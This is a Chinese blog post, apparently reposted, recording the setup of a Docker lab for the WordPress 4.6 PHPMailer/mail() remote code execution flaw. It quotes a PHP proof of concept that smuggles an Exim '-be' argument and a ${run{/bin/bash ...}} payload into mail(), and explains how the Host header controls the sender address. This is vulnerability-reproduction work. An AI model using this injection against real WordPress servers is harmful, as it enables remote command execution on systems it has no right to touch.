php wordpress漏洞,wordpress 4.6远程代码执行漏洞环境搭建

这篇文章主要是记录下搭建漏洞测试环境的过程,然而从中午开始,断断续续的一直折腾到凌晨,只是搭建了成功了本地能复现的环境,并没有实现远程复现。

究其原因,主要是固执到一直想用daocloud来搭建测试环境,坑好多,花了太多时间来填坑了,记录下过程。

docker pull wordpress:4.6-php5.6-apache

docker pull daocloud.io/library/mysql:5.7

docker run –name some-mysql -e MYSQL_ROOT_PASSWORD=xxxx -e MYSQL_DATABASE=wdpress -d daocloud.io/library/mysql:5.7

#启动1个名称为wordpress的容器,链接了some-mysql容器用来存储数据,并指定了some-mysql容器中有关数据库的一些配置

docker run –name wordpress –link some-mysql:mysql -p 80:80 -e WORDPRESS_DB_NAME=wdpress -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=xxxx -d wordpress:4.6-php5.6-apache

以上环境可以安装成功wordpress,蛋疼的是使用密码重置功能,一直提示mail()函数可能被禁用。主要问题是没有配置sendmail_path的地方.

apt-get install exim4

安装exim4之后,还是find不到sendmail,折腾很久之后果断放弃了用daocloud。接着使用了网易蜂巢,直接pull了官方推荐的lamp镜像,运行容器之后,接着安装了exim4,然后发现了如图所示:

0f2a2920f3c99c4d546a282a1cad72c4.png

不需要做其它的配置,就可以成功使用wordpress的密码重置功能,接着用php mail()远程代码执行漏洞paper中给出的本地测试脚本,可以成功复现:

// RCE via mail() vector on Exim4 MTA

// Attacker's cmd is passed on STDIN by mail() within $body

// Discovered by:

// Dawid Golunski – @dawid_golunski – https://legalhackers.com

$sender = "nxadmin@anyhost -be";

$body = 'Exec: ${run{/bin/bash -c "/usr/bin/id>/tmp/nxadmin"}{yes}{no}}';

// ^ unfiltered vars, coming from attacker via GET, POST etc.

$to = "john@localhost";

$subject = "Exim RCE PoC";

$headers = "From: s1ma@localhost";

mail($to,$subject,$body,$headers, "-f $sender ");

?>

会创建/tmp/nxadmin文件,其中有/usr/bin/id命令的执行结果,如图:

592472810e4de9da31bd15104b77092c.png

本地测试成功了,远程复现的话可能还需要满足SERVER_NAME有关的条件,明天继续!

根据看老外写的文章,翻译理解了下漏洞的产生原因。Wordpress 4.6密码找回功能使用了phpmailer的setFrom()函数,这个东西近期爆出过漏洞,老外写的paper:

https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

wordpress 4.6受影响的文件wp-includes/pluggable.php代码片段如下:

if ( !isset( $from_email ) ) {

// Get the site domain and get rid of www.

$sitename = strtolower( $_SERVER['SERVER_NAME'] );

if ( substr( $sitename, 0, 4 ) == 'www.' ) {

$sitename = substr( $sitename, 4 );

}

$from_email = 'wordpress@' . $sitename;

}

/**

* Filters the name to associate with the "from" email address.

*

* @since 2.3.0

*

* @param string $from_name Name associated with the "from" email address.

*/

$from_name = apply_filters( 'wp_mail_from_name', $from_name );

$phpmailer->setFrom( $from_email, $from_name );

上面代码中sitename是由 php预定义变量$_SERVER参数获取的,具体的SERVER_NAME是指当前运行脚本所在服务器的主机名称。发现其实SERVER_NAME是攻击者可以控制的,以下面的代码为例:

$sitename = strtolower( $_SERVER['SERVER_NAME'] );

echo $sitename

?>

上面代码是获取SERVER_NAME,保存成php,用curl访问,如图所示:

78ccb5999edaccfe8723da12f9a4823b.png

发现可以通过http头部的HOST来控制$sitename参数的值,从而最终将恶意代码传递给wordpress 的setFrom()函数,最终导致漏洞的产生。

————————–5月5号更新————————————–

P牛已经做出了测试环境用的docker,并且写好了利用的exp,用我搭建的环境亲测可以成功,如图:

75ec7ad330bfc1af2c557b7778ea7958.png

p牛写的利用脚本经过了实践的检验,6666,膜拜p牛!附上p牛制作的docker漏洞环境url:

https://github.com/phith0n/vulhub/tree/master/wordpress/phpmailer-rce

最后编辑:2017-05-05作者:admin

这个作者貌似有点懒,什么都没有留下。

原文链接:https://blog.csdn.net/weixin_39942033/article/details/116177941?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168994567316800184193135%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=168994567316800184193135&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~times_rank-11-116177941-null-null.268%5Ev1%5Ekoosearch&utm_term=docker%E3%80%81wordpress%E3%80%81wordpress%E5%BB%BA%E7%AB%99%E3%80%81wordpress%E4%B8%BB%E9%A2%98%E3%80%81%E5%AE%B9%E5%99%A8%E9%95%9C%E5%83%8F%E3%80%81

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享